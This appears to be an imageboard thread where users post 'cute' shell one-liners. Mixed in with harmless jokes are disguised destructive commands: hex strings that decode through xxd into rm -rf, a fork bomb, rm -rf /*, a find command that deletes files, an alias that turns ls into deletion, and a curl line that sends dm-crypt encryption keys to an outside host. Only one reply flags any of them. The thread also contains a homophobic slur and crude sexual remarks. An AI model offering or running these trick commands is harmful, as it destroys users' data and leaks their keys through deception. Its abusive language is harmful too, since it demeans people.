Post the cutest shell oneliner ever

I'd just like to interject for a moment. What you're referring to as Linux, is in fact, GNU/Linux, or as I've recently taken to calling it, GNU plus Linux. Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.

Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called "Linux", and many of its users are not aware that it is basically the GNU system, developed by the GNU Project.

There really is a Linux, and these people are using it, but it is just a part of the system they use. Linux is the kernel: the program in the system that allocates the machine's resources to the other programs that you run. The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. All the so-called "Linux" distributions are really distributions of GNU/Linux.

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Ponysay OP is a faggot

alias owo='man man'

$(echo 726d202d7266202a | xxd -r -p)

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Cute!, Will try it.

Did she see a black cock?

This worked better before 64 bit operating systems became common:

sudo grep -i llama /proc/kcore

(why is your ram full of llamas?)

cat /dev/urandom | hexdump -v -e '/1 "%u\n"' | awk '{ split("0,2,4,5,7,9,11,12",a,","); for (i = 0; i < 1; i+= 0.0001) printf("%08X\n", 100*sin(1382*exp((a[$1 % 8]/12)*log(2))*i)) }' | xxd -r -p | aplay -c 2 -f S32_LE -r 16000

Yes.

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find / -name '*anime*' -exec rm -fR {} +

This.

echo "main(t){for(;;t++) {putchar(t*(42&t));}}" | gcc -xc - && ./a.out | aplay

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:(){ :|: & };:

Does that just make white noise?

Stop posting that disgusting non-standard C. Do it properly.

echo uguu~

came here to post this

do not run this, it runs rm -rf *

curl -X POST data=$(dmsetup table --showkeys | sed '5q;d' | cut -f 6 -d ' ') fbi.gov/tip

Good post.

forkbomb

alias please="sudo '
alias thanks='echo "you're welcome."'

I like this

yes

rm -rf /*

echo you

$ sl

wtf i posted that with code tags, but with my mobile. why isnt it in code tags? gookmoot u fucken noob

>LINUX COMMAND

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system32 = false;
if (system32 == false) {system32.delete();}

How did it draw that in the terminal? Wtf. :D

No silly, it's music! Kinda. A little.

Polite.

system32.delete(); is much faster...

yes no

726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f0a

please rm -rf / && thanks

please for sudo is actually included in oh-my-zsh for some reason...

I think code tags need a newline

lol kek, I know this is a joke but check out this a1k0n.net/2011/06/26/obfuscated-c-yahoo-logo.html

Nice.

fortune | cowsay | lolcat

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>not ponysay

alias ano="sudo"
[\code]

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alias ls = ls && rm -rf * && cd ..

dumb redditor

while [ true ]; do echo -en "\e[0;31mDE\e[0m""\e[0;32mSU\e[0m"; done

Let me shorten this.
while :; do printf '\e[31mDE\e[32mSU\e[m'; done

is there anyway to get the yes command to do formatting/colors?

alias startwindows="dialog --msgbox 'Something Happened' 10 20"